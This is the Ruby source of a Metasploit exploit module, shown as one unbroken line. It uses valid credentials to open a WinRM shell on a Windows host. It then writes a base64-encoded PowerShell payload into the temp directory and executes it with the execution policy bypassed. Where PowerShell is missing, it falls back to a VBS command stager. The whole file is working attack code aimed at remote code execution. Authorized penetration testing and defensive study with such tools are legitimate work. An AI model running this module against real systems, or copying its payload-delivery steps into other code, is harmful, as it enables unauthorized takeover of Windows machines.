## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'net/winrm/connection' class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::WinRM include Msf::Exploit::CmdStager def initialize(info = {}) super( update_info( info, 'Name' => 'WinRM Script Exec Remote Code Execution', 'Description' => %q{ This module uses valid credentials to login to the WinRM service and execute a payload. It has two available methods for payload delivery: Powershell 2 (and above) and VBS CmdStager. The module will check if Powershell is available, and if so uses that method. Otherwise it falls back to the VBS CmdStager which is less stealthy. }, 'Author' => [ 'thelightcosine' ], 'License' => MSF_LICENSE, 'References' => [ [ 'URL', 'http://msdn.microsoft.com/en-us/library/windows/desktop/aa384426(v=vs.85).aspx' ], ], 'Privileged' => true, 'DefaultOptions' => { 'WfsDelay' => 30, 'EXITFUNC' => 'thread', 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', 'CMDSTAGER::DECODER' => File.join(Rex::Exploitation::DATA_DIR, 'exploits', 'cmdstager', 'vbs_b64_sleep') }, 'Platform' => 'win', 'Arch' => [ ARCH_X86, ARCH_X64 ], 'Targets' => [ [ 'Windows', {} ], ], 'DefaultTarget' => 0, 'DisclosureDate' => '2012-11-01', 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options( [ OptBool.new('FORCE_VBS', [ true, 'Force the module to use the VBS CmdStager', false]), ], self.class ) deregister_options('CMDSTAGER::FLAVOR') @compat_mode = false end def exploit check_winrm_parameters self.conn = create_winrm_connection self.shell = conn.shell(:cmd, {}) if powershell2? path = upload_script return if path.nil? exec_script(path) else execute_cmdstager({ flavor: :vbs }) end handler end # Run the WinRM command def winrm_run_cmd(command) shell.run(command) end # Run the WinRM command on a background thread def winrm_run_cmd_async(command) framework.threads.spawn("winrm_script_exec keepalive worker", false) do begin winrm_run_cmd(command) ensure self.shell.close end end end # Execute a command on the WinRM shell (called via the VBS Stager) def execute_command(cmd, _opts) commands = cmd.split(/&/) commands.each do |command| if command.include? 'cscript' winrm_run_cmd_async(command) elsif command.include? 'del %TEMP%' next else winrm_run_cmd(command) end end end # Uploads a powershell script to the server # @return [String] Path to the uploaded script def upload_script tdir = temp_dir return if tdir.nil? path = tdir + '\\' + ::Rex::Text.rand_text_alpha(8) + '.ps1' print_status("Uploading powershell script to #{path} (This may take a few minutes)...") script = Msf::Util::EXE.to_win32pe_psh(framework, payload.encoded) # add a sleep to the script to give us enough time to migrate script << "\n Start-Sleep -s 20" script.each_line do |psline| # build our psh command to write out our psh script, meta eh? script_line = "Add-Content #{path} '#{psline.chomp}' " cmd = encoded_psh(script_line) winrm_run_cmd(cmd) end return path end # Executes the PowerShell script at the given path # @param [String] path Path to the uploaded script def exec_script(path) print_status('Attempting to execute script...') cmd = "#{@invoke_powershell} -ExecutionPolicy bypass -File #{path}" winrm_run_cmd_async(cmd) end # Create a command line to execute the provided script inline # @return [String] Command line argument to execute the provided command in the -EncodedCommand parameter def encoded_psh(script) script = Rex::Text.encode_base64(script.encode('utf-16le')).chomp return "#{@invoke_powershell} -encodedCommand #{script}" end # Gets the temporary directory of the remote shell # @return [String] The temporary directory of the remote shell def temp_dir print_status('Grabbing %TEMP%') cmd = 'echo %TEMP%' output = winrm_run_cmd(cmd) return output.stdout.chomp end # The architecture of the remote system def get_remote_arch wql = %q{select AddressWidth from Win32_Processor where DeviceID="CPU0"} resp = conn.run_wql(wql) addr_width = resp[:xml_fragment][0][:address_width] if addr_width == '64' return ARCH_X64 else return ARCH_X86 end end # Verifies that the remote architecture is compatible with our payload # @return [Boolean] Does the payload match the architecture? # @note Sets @compat_mode to true if running x86 payload on x64 arch def correct_payload_arch? @target_arch = get_remote_arch case @target_arch when ARCH_X64 unless datastore['PAYLOAD'].include?(ARCH_X64) print_error('You selected an x86 payload for an x64 target...trying to run in compat mode') @compat_mode = true return false end when ARCH_X86 if datastore['PAYLOAD'].include?(ARCH_X64) print_error('You selected an x64 payload for an x86 target') return false end end return true end # Is PowerShell version 2 (or above) available # @return [Boolean] # @note Sets @invoke_powershell based on whether @compat_mode is set - to potentially force the use of x86 PowerShell while on an x64 system def powershell2? if datastore['FORCE_VBS'] print_status('User selected the FORCE_VBS option') return false end print_status('Checking for Powershell 2.0') output = winrm_run_cmd('powershell Get-Host') if output.stderr.include? 'not recognized' print_error('Powershell is not installed') return false end output.stdout.each_line do |line| next unless line.start_with? 'Version' major_version = line.match(/\d(?=\.)/)[0] if major_version == '1' print_error('The target is running an older version of Powershell') return false end end return false unless correct_payload_arch? || (@target_arch == ARCH_X64) if @compat_mode == true @invoke_powershell = '%SYSTEMROOT%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe' else @invoke_powershell = 'powershell' end return true end # @return [WinRM::Shells::Cmd] The WinRM Shell object attr_accessor :shell # @return [Net::MsfWinRM::RexWinRMConnection] The WinRM connection attr_accessor :conn end